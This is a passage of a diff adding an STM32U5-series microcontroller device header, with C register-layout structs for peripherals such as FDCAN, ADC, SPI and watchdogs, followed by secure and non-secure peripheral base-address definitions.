offset: 0x098 */ + __IO uint32_t RXF1A; /*!< FDCAN Rx FIFO 1 Acknowledge register, Address offset: 0x09C */ + uint32_t RESERVED6[8]; /*!< Reserved, 0x0A0 - 0x0BC */ + __IO uint32_t TXBC; /*!< FDCAN Tx Buffer Configuration register, Address offset: 0x0C0 */ + __IO uint32_t TXFQS; /*!< FDCAN Tx FIFO/Queue Status register, Address offset: 0x0C4 */ + __IO uint32_t TXBRP; /*!< FDCAN Tx Buffer Request Pending register, Address offset: 0x0C8 */ + __IO uint32_t TXBAR; /*!< FDCAN Tx Buffer Add Request register, Address offset: 0x0CC */ + __IO uint32_t TXBCR; /*!< FDCAN Tx Buffer Cancellation Request register, Address offset: 0x0D0 */ + __IO uint32_t TXBTO; /*!< FDCAN Tx Buffer Transmission Occurred register, Address offset: 0x0D4 */ + __IO uint32_t TXBCF; /*!< FDCAN Tx Buffer Cancellation Finished register, Address offset: 0x0D8 */ + __IO uint32_t TXBTIE; /*!< FDCAN Tx Buffer Transmission Interrupt Enable register, Address offset: 0x0DC */ + __IO uint32_t TXBCIE; /*!< FDCAN Tx Buffer Cancellation Finished Interrupt Enable register, Address offset: 0x0E0 */ + __IO uint32_t TXEFS; /*!< FDCAN Tx Event FIFO Status register, Address offset: 0x0E4 */ + __IO uint32_t TXEFA; /*!< FDCAN Tx Event FIFO Acknowledge register, Address offset: 0x0E8 */ +} FDCAN_GlobalTypeDef; + +/** + * @brief FD Controller Area Network Configuration + */ +typedef struct +{ + __IO uint32_t CKDIV; /*!< FDCAN clock divider register, Address offset: 0x100 + 0x000 */ + uint32_t RESERVED1[128];/*!< Reserved, 0x100 + 0x004 - 0x100 + 0x200 */ + __IO uint32_t OPTR; /*!< FDCAN option register, Address offset: 0x100 + 0x204 */ + uint32_t RESERVED2[58];/*!< Reserved, 0x100 + 0x208 - 0x100 + 0x2EC */ + __IO uint32_t HWCFG; /*!< FDCAN hardware configuration register, Address offset: 0x100 + 0x2F0 */ + __IO uint32_t VERR; /*!< FDCAN IP version register, Address offset: 0x100 + 0x2F4 */ + __IO uint32_t IPIDR; /*!< FDCAN IP ID register, Address offset: 0x100 + 0x2F8 */ + __IO uint32_t SIDR; /*!< FDCAN size ID register, Address offset: 0x100 + 0x2FC */ +} FDCAN_Config_TypeDef; + +/** + * @brief Flexible Memory Controller + */ +typedef struct +{ + __IO uint32_t BTCR[8]; /*!< NOR/PSRAM chip-select control register(BCR) and chip-select timing register(BTR), Address offset: 0x00-1C */ + __IO uint32_t PCSCNTR; /*!< PSRAM chip-select counter register, Address offset: 0x20 */ +} FMC_Bank1_TypeDef; + +/** + * @brief Flexible Memory Controller Bank1E + */ +typedef struct +{ + __IO uint32_t BWTR[7]; /*!< NOR/PSRAM write timing registers, Address offset: 0x104-0x11C */ +} FMC_Bank1E_TypeDef; + +/** + * @brief Flexible Memory Controller Bank3 + */ +typedef struct +{ + __IO uint32_t PCR; /*!< NAND Flash control register, Address offset: 0x80 */ + __IO uint32_t SR; /*!< NAND Flash FIFO status and interrupt register, Address offset: 0x84 */ + __IO uint32_t PMEM; /*!< NAND Flash Common memory space timing register, Address offset: 0x88 */ + __IO uint32_t PATT; /*!< NAND Flash Attribute memory space timing register, Address offset: 0x8C */ + uint32_t RESERVED0; /*!< Reserved, 0x90 */ + __IO uint32_t ECCR; /*!< NAND Flash ECC result registers, Address offset: 0x94 */ +} FMC_Bank3_TypeDef; + +/** + * @brief VREFBUF + */ +typedef struct +{ + __IO uint32_t CSR; /*!< VREFBUF control and status register, Address offset: 0x00 */ + __IO uint32_t CCR; /*!< VREFBUF calibration and control register, Address offset: 0x04 */ +} VREFBUF_TypeDef; + +/** + * @brief ADC + */ +typedef struct +{ + __IO uint32_t ISR; /*!< ADC Interrupt and Status Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< ADC Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< ADC control register, Address offset: 0x08 */ + __IO uint32_t CFGR1; /*!< ADC Configuration register, Address offset: 0x0C */ + __IO uint32_t CFGR2; /*!< ADC Configuration register 2, Address offset: 0x10 */ + __IO uint32_t SMPR1; /*!< ADC sample time register 1, Address offset: 0x14 */ + __IO uint32_t SMPR2; /*!< ADC sample time register 2, Address offset: 0x18 */ /* Specific to ADC 14Bits*/ + __IO uint32_t PCSEL; /*!< ADC pre-channel selection, Address offset: 0x1C */ + __IO uint32_t AWD1TR; /*!< ADC watchdog threshold register, Address offset: 0x20 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD2TR; /*!< ADC watchdog threshold register, Address offset: 0x24 */ /* Specific to ADC 12Bits*/ + __IO uint32_t CHSELR; /*!< ADC channel select register, Address offset: 0x28 */ /* Specific to ADC 12Bits*/ + __IO uint32_t AWD3TR; /*!< ADC watchdog threshold register, Address offset: 0x2C */ /* Specific to ADC 12Bits*/ + __IO uint32_t SQR1; /*!< ADC regular sequence register 1, Address offset: 0x30 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR2; /*!< ADC regular sequence register 2, Address offset: 0x34 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR3; /*!< ADC regular sequence register 3, Address offset: 0x38 */ /* Specific to ADC 14Bits*/ + __IO uint32_t SQR4; /*!< ADC regular sequence register 4, Address offset: 0x3C */ /* Specific to ADC 14Bits*/ + __IO uint32_t DR; /*!< ADC regular data register, Address offset: 0x40 */ + __IO uint32_t PWRR; /*!< ADC power register, Address offset: 0x44 */ + uint32_t RESERVED1; /*!< Reserved, 0x048 */ + __IO uint32_t JSQR; /*!< ADC injected sequence register, Address offset: 0x4C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED2[4]; /*!< Reserved, 0x050 - 0x05C */ + __IO uint32_t OFR1; /*!< ADC offset register 1, Address offset: 0x60 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR2; /*!< ADC offset register 2, Address offset: 0x64 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR3; /*!< ADC offset register 3, Address offset: 0x68 */ /* Specific to ADC 14Bits*/ + __IO uint32_t OFR4; /*!< ADC offset register 4, Address offset: 0x6C */ /* Specific to ADC 14Bits*/ + __IO uint32_t GCOMP; /*!< ADC gain compensation register, Address offset: 0x70 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED3[3]; /*!< Reserved, 0x074 - 0x07C */ + __IO uint32_t JDR1; /*!< ADC injected data register 1, Address offset: 0x80 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR2; /*!< ADC injected data register 2, Address offset: 0x84 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR3; /*!< ADC injected data register 3, Address offset: 0x88 */ /* Specific to ADC 14Bits*/ + __IO uint32_t JDR4; /*!< ADC injected data register 4, Address offset: 0x8C */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED4[4]; /*!< Reserved, 0x090 - 0x09C */ + __IO uint32_t AWD2CR; /*!< ADC Analog Watchdog 2 Configuration Register, Address offset: 0xA0 */ + __IO uint32_t AWD3CR; /*!< ADC Analog Watchdog 3 Configuration Register, Address offset: 0xA4 */ + __IO uint32_t LTR1; /*!< ADC watchdog Lower threshold register 1, Address offset: 0xA8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR1; /*!< ADC watchdog higher threshold register 1, Address offset: 0xAC */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR2; /*!< ADC watchdog Lower threshold register 2, Address offset: 0xB0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR2; /*!< ADC watchdog Higher threshold register 2, Address offset: 0xB4 */ /* Specific to ADC 14Bits*/ + __IO uint32_t LTR3; /*!< ADC watchdog Lower threshold register 3, Address offset: 0xB8 */ /* Specific to ADC 14Bits*/ + __IO uint32_t HTR3; /*!< ADC watchdog Higher threshold register 3, Address offset: 0xBC */ /* Specific to ADC 14Bits*/ + __IO uint32_t DIFSEL; /*!< ADC Differential Mode Selection Register, Address offset: 0xC0 */ /* Specific to ADC 14Bits*/ + __IO uint32_t CALFACT; /*!< ADC Calibration Factors, Address offset: 0xC4 */ + __IO uint32_t CALFACT2; /*!< ADC Linearity Calibration Factors, Address offset: 0xC8 */ /* Specific to ADC 14Bits*/ + uint32_t RESERVED5; /*!< Reserved, 0x0CC */ + __IO uint32_t OR; /*!< ADC Option Register, Address offset: 0xD0 */ /* Specific to ADC 12Bits*/ +} ADC_TypeDef; + +typedef struct +{ + __IO uint32_t CCR; /*!< ADC common control register, Address offset: 0x308 */ +} ADC_Common_TypeDef; + + +/* Legacy registers naming */ +#define PW PWRR + +/** + * @brief CORDIC + */ +typedef struct +{ + __IO uint32_t CSR; /*!< CORDIC control and status register, Address offset: 0x00 */ + __IO uint32_t WDATA; /*!< CORDIC argument register, Address offset: 0x04 */ + __IO uint32_t RDATA; /*!< CORDIC result register, Address offset: 0x08 */ +} CORDIC_TypeDef; + +/** + * @brief IWDG + */ +typedef struct +{ + __IO uint32_t KR; /*!< IWDG Key register, Address offset: 0x00 */ + __IO uint32_t PR; /*!< IWDG Prescaler register, Address offset: 0x04 */ + __IO uint32_t RLR; /*!< IWDG Reload register, Address offset: 0x08 */ + __IO uint32_t SR; /*!< IWDG Status register, Address offset: 0x0C */ + __IO uint32_t WINR; /*!< IWDG Window register, Address offset: 0x10 */ + __IO uint32_t EWCR; /*!< IWDG Early Wakeup register, Address offset: 0x14 */ +} IWDG_TypeDef; + +/** + * @brief SPI + */ +typedef struct +{ + __IO uint32_t CR1; /*!< SPI/I2S Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< SPI Control register 2, Address offset: 0x04 */ + __IO uint32_t CFG1; /*!< SPI Configuration register 1, Address offset: 0x08 */ + __IO uint32_t CFG2; /*!< SPI Configuration register 2, Address offset: 0x0C */ + __IO uint32_t IER; /*!< SPI Interrupt Enable register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< SPI Status register, Address offset: 0x14 */ + __IO uint32_t IFCR; /*!< SPI Interrupt/Status Flags Clear register, Address offset: 0x18 */ + __IO uint32_t AUTOCR; /*!< SPI Autonomous Mode Control register, Address offset: 0x1C */ + __IO uint32_t TXDR; /*!< SPI Transmit data register, Address offset: 0x20 */ + uint32_t RESERVED1[3]; /*!< Reserved, 0x24-0x2C */ + __IO uint32_t RXDR; /*!< SPI/I2S data register, Address offset: 0x30 */ + uint32_t RESERVED2[3]; /*!< Reserved, 0x34-0x3C */ + __IO uint32_t CRCPOLY; /*!< SPI CRC Polynomial register, Address offset: 0x40 */ + __IO uint32_t TXCRC; /*!< SPI Transmitter CRC register, Address offset: 0x44 */ + __IO uint32_t RXCRC; /*!< SPI Receiver CRC register, Address offset: 0x48 */ + __IO uint32_t UDRDR; /*!< SPI Underrun data register, Address offset: 0x4C */ +} SPI_TypeDef; + +/** + * @brief Touch Sensing Controller (TSC) + */ + +typedef struct +{ + __IO uint32_t CR; /*!< TSC control register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< TSC interrupt enable register, Address offset: 0x04 */ + __IO uint32_t ICR; /*!< TSC interrupt clear register, Address offset: 0x08 */ + __IO uint32_t ISR; /*!< TSC interrupt status register, Address offset: 0x0C */ + __IO uint32_t IOHCR; /*!< TSC I/O hysteresis control register, Address offset: 0x10 */ + uint32_t RESERVED1; /*!< Reserved, Address offset: 0x14 */ + __IO uint32_t IOASCR; /*!< TSC I/O analog switch control register, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved, Address offset: 0x1C */ + __IO uint32_t IOSCR; /*!< TSC I/O sampling control register, Address offset: 0x20 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x24 */ + __IO uint32_t IOCCR; /*!< TSC I/O channel control register, Address offset: 0x28 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x2C */ + __IO uint32_t IOGCSR; /*!< TSC I/O group control status register, Address offset: 0x30 */ + __IO uint32_t IOGXCR[8]; /*!< TSC I/O group x counter register, Address offset: 0x34-50 */ +} TSC_TypeDef; + +/** + * @brief WWDG + */ +typedef struct +{ + __IO uint32_t CR; /*!< WWDG Control register, Address offset: 0x00 */ + __IO uint32_t CFR; /*!< WWDG Configuration register, Address offset: 0x04 */ + __IO uint32_t SR; /*!< WWDG Status register, Address offset: 0x08 */ +} WWDG_TypeDef; + +/*@}*/ /* end of group STM32U5xx_peripherals */ + + +/* -------- End of section using anonymous unions and disabling warnings -------- */ +#if defined (__CC_ARM) + #pragma pop +#elif defined (__ICCARM__) + /* leave anonymous unions enabled */ +#elif defined(__ARMCC_VERSION) && (__ARMCC_VERSION >= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ +#define SRAM1_SIZE (0x30000UL) /*!< SRAM1=192k */ +#define SRAM2_SIZE (0x10000UL) /*!< SRAM2=64k */ +#define SRAM3_SIZE (0x80000UL) /*!< SRAM3=512k */ +#define SRAM4_SIZE (0x04000UL) /*!< SRAM4=16k */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI2_BASE (0x70000000UL) /*!< OCTOSPI2 memories accessible over AHB base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (up to 2 MB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (192 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x20030000UL) /*!< SRAM2 (64 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x20040000UL) /*!< SRAM3 (512 KB) non-secure base address */ +#define SRAM4_BASE_NS (0x28000000UL) /*!< SRAM4 (16 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06020000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define I2C4_BASE_NS (APB1PERIPH_BASE_NS + 0x8400UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define TIM16_BASE_NS (APB2PERIPH_BASE_NS + 0x4400UL) +#define TIM17_BASE_NS (APB2PERIPH_BASE_NS + 0x4800UL) +#define SAI1_BASE_NS (APB2PERIPH_BASE_NS + 0x5400UL) +#define SAI1_Block_A_BASE_NS (SAI1_BASE_NS + 0x004UL) +#define SAI1_Block_B_BASE_NS (SAI1_BASE_NS + 0x024UL) +#define SAI2_BASE_NS (APB2PERIPH_BASE_NS + 0x5800UL) +#define SAI2_Block_A_BASE_NS (SAI2_BASE_NS + 0x004UL) +#define SAI2_Block_B_BASE_NS (SAI2_BASE_NS + 0x024UL) + +/*!< APB3 Non secure peripherals */ +#define SYSCFG_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define SPI3_BASE_NS (APB3PERIPH_BASE_NS + 0x2000UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define LPTIM3_BASE_NS (APB3PERIPH_BASE_NS + 0x4800UL) +#define LPTIM4_BASE_NS (APB3PERIPH_BASE_NS + 0x4C00UL) +#define OPAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP1_BASE_NS (APB3PERIPH_BASE_NS + 0x5000UL) +#define OPAMP2_BASE_NS (APB3PERIPH_BASE_NS + 0x5010UL) +#define COMP12_BASE_NS (APB3PERIPH_BASE_NS + 0x5400UL) +#define COMP1_BASE_NS (COMP12_BASE_NS) +#define COMP2_BASE_NS (COMP12_BASE_NS + 0x04UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS (AHB1PERIPH_BASE_NS) +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA1_Channel8_BASE_NS (GPDMA1_BASE_NS + 0x0450UL) +#define GPDMA1_Channel9_BASE_NS (GPDMA1_BASE_NS + 0x04D0UL) +#define GPDMA1_Channel10_BASE_NS (GPDMA1_BASE_NS + 0x0550UL) +#define GPDMA1_Channel11_BASE_NS (GPDMA1_BASE_NS + 0x05D0UL) +#define GPDMA1_Channel12_BASE_NS (GPDMA1_BASE_NS + 0x0650UL) +#define GPDMA1_Channel13_BASE_NS (GPDMA1_BASE_NS + 0x06D0UL) +#define GPDMA1_Channel14_BASE_NS (GPDMA1_BASE_NS + 0x0750UL) +#define GPDMA1_Channel15_BASE_NS (GPDMA1_BASE_NS + 0x07D0UL) +#define CORDIC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FMAC_BASE_NS (AHB1PERIPH_BASE_NS + 0x01400UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define TSC_BASE_NS (AHB1PERIPH_BASE_NS + 0x04000UL) +#define MDF1_BASE_NS (AHB1PERIPH_BASE_NS + 0x05000UL) +#define MDF1_Filter0_BASE_NS (MDF1_BASE_NS + 0x80UL) +#define MDF1_Filter1_BASE_NS (MDF1_BASE_NS + 0x100UL) +#define MDF1_Filter2_BASE_NS (MDF1_BASE_NS + 0x180UL) +#define MDF1_Filter3_BASE_NS (MDF1_BASE_NS + 0x200UL) +#define MDF1_Filter4_BASE_NS (MDF1_BASE_NS + 0x280UL) +#define MDF1_Filter5_BASE_NS (MDF1_BASE_NS + 0x300UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_SRAM4_BASE_NS (RAMCFG_BASE_NS + 0x00C0UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) +#define DMA2D_BASE_NS (AHB1PERIPH_BASE_NS + 0x0B000UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define GPIOI_BASE_NS (AHB2PERIPH_BASE_NS + 0x02000UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08308UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define USB_OTG_FS_BASE_NS (AHB2PERIPH_BASE_NS + 0x20000UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define OCTOSPIM_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xA4000UL) /*!< OCTOSPIO Manager control registers base address */ +#define SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8000UL) +#define SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8C00UL) +#define DLYB_SDMMC1_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8400UL) +#define DLYB_SDMMC2_BASE_NS (AHB2PERIPH_BASE_NS + 0xA8800UL) +#define DLYB_OCTOSPI1_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF000UL) +#define DLYB_OCTOSPI2_BASE_NS (AHB2PERIPH_BASE_NS + 0xAF400UL) +#define FMC_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB0400UL) /*!< FMC control registers base address */ +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) +#define OCTOSPI1_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB1400UL) /*!< OCTOSPI1 control registers base address */ +#define OCTOSPI2_R_BASE_NS (AHB2PERIPH_BASE_NS + 0xB2400UL) /*!< OCTOSPI2 control registers base address */ + +/*!< AHB3 Non secure peripherals */ +#define LPGPIO1_BASE_NS (AHB3PERIPH_BASE_NS) +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define ADC4_BASE_NS (AHB3PERIPH_BASE_NS + 0x1000UL) +#define ADC4_COMMON_BASE_NS (AHB3PERIPH_BASE_NS + 0x1308UL) +#define DAC1_BASE_NS (AHB3PERIPH_BASE_NS + 0x1800UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define GTZC_TZSC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3000UL) +#define GTZC_TZIC2_BASE_NS (AHB3PERIPH_BASE_NS + 0x3400UL) +#define GTZC_MPCBB4_BASE_NS (AHB3PERIPH_BASE_NS + 0x3800UL) +#define ADF1_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) +#define ADF1_Filter0_BASE_NS (ADF1_BASE_NS + 0x80UL) +#define LPDMA1_BASE_NS (AHB3PERIPH_BASE_NS + 0x5000UL) +#define LPDMA1_Channel0_BASE_NS (LPDMA1_BASE_NS + 0x0050UL) +#define LPDMA1_Channel1_BASE_NS (LPDMA1_BASE_NS + 0x00D0UL) +#define LPDMA1_Channel2_BASE_NS (LPDMA1_BASE_NS + 0x0150UL) +#define LPDMA1_Channel3_BASE_NS (LPDMA1_BASE_NS + 0x01D0UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (up to 2 MB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (192 KB) secure base address */ +#define SRAM2_BASE_S (0x30030000UL) /*!< SRAM2 (64 KB) secure base address */ +#define SRAM3_BASE_S (0x30040000UL) /*!< SRAM3 (512 KB) secure base address */ +#define SRAM4_BASE_S (0x38000000UL) /*!< SRAM4 (16 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x06020000UL) + +/*!< APB1 Secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define I2C4_BASE_S (APB1PERIPH_BASE_S + 0x8400UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define 